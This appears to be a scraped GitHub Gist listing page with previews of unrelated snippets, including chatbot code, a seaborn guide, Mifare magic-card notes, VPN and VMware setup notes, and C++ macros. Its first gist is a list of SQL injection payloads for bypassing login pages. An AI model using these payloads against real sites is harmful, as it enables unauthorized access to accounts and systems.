Skip to content

Instantly share code, notes, and snippets.

@rootsploit
rootsploit / SQLi-login-bypass.txt
Created January 25, 2021 16:51
SQL Injection Payloads to Bypass Login Page
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
# set your OPENAI_API_KEY in your .env
from openai.types.chat import ChatCompletionMessageParam
from mirascope.openai import OpenAICall
from dotenv import load_dotenv
load_dotenv()
class Librarian(OpenAICall):
prompt_template = """
SYSTEM: You are the world's greatest librarian.
MESSAGES: {history}
@mwaskom
mwaskom / replacing_seaborn_distplot.ipynb
Last active April 26, 2024 07:22
A guide to replacing the deprecated `seaborn.distplot` function.
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@koenieee
koenieee / gist:bea8eee12a463877c839d841eebe8993
Last active April 26, 2024 07:21
Magic gen3 chinese changable UUID cards libnfc support - Piswords PCSC Mifare
====================== PCSC Mifare replacement ======================
Own implementation of the software used with the ACR122u reader software called PCSC Mifare from Piswords (a chinese seller).
Aliexpress sells these 7-byte changable UUID cards for Mifare Classic. Unfortanly it's not a normal magic card.
It's like a magic magic magic card.
They implemented a custom command themself. I didn't have a proxmark3, or ACR122u reader.
They also had software with uses the PC/SC API for their custom commands.
I only had a raspberry pi with the PN532 reader
=================================================
Unfortunately I would NOT recommend this card, it is read fine by my phone and the PN532 reader.
@ixiumu
ixiumu / SOFT.md
Last active April 26, 2024 07:20
常用软件介绍及安装包下载

木木

Windows 平台常用软件介绍、安装包下载。

常用软件

标题 描述 下载
Microsoft Edge Chromium 基于Chromium内核的Edge浏览器 下载
Chrome 快速、简单且安全的网络浏览器 新浪
@imba-tjd
imba-tjd / .Windows Optimization.md
Last active April 26, 2024 07:18
记录我使用的软件和优化Windows的操作
@bluewalk
bluewalk / GetNordVPNWireGuardDetails.md
Last active April 26, 2024 07:17
Getting NordVPN WireGuard details

About

Instructions to obtain WireGuard details of your NordVPN account. These can be used to setup a WireGuard tunnel on your router to NordVPN.

Source: https://forum.gl-inet.com/t/configure-wireguard-client-to-connect-to-nordvpn-servers/10422/27

Prerequisites

If you have any linux machine, use that or install a vm if you don't have one.

Get their official linux app installed. Make sure you have wireguard installed too. And set the used technology to Nordlynx by running nordvpn set technology nordlynx

@YPermitin
YPermitin / VMWareWorkstation-Error-KernelModuleInstall.md
Last active April 26, 2024 07:17
Решение проблемы с установкой модулей VMWare Workstation на Ubuntu 22.04

Решение проблемы с установкой модулей VMWare Workstation на Ubuntu 22.04

Описание решения ошибок при установке модулей VMWare Workstation на Ubuntu 22.04 после обновления ядра или при начальной установке.

Описание проблемы

При попытке установки модулей VMWare Workstation могут возникнуть ошибки вида:

Unable to install all modules
nodes:
- id: webcam
custom:
source: https://huggingface.co/datasets/dora-rs/dora-idefics2/raw/main/operators/opencv_stream.py
outputs:
- image
- id: idefics2
operator:
python: https://huggingface.co/datasets/dora-rs/dora-idefics2/raw/main/operators/idefics2_op.py
inputs:
@HerringtonDarkholme
HerringtonDarkholme / nihongo.cpp
Last active April 26, 2024 07:13
g++ nihongo.cpp
#define エスティーディー std
#define アイオーストリーム <iostream>
#define ユージング using
#define イフ if
#define インクルード #include
#define イント int
#define シーアウト cout
#define シーイン cin
#define ネームスペース namespace
#define ブール bool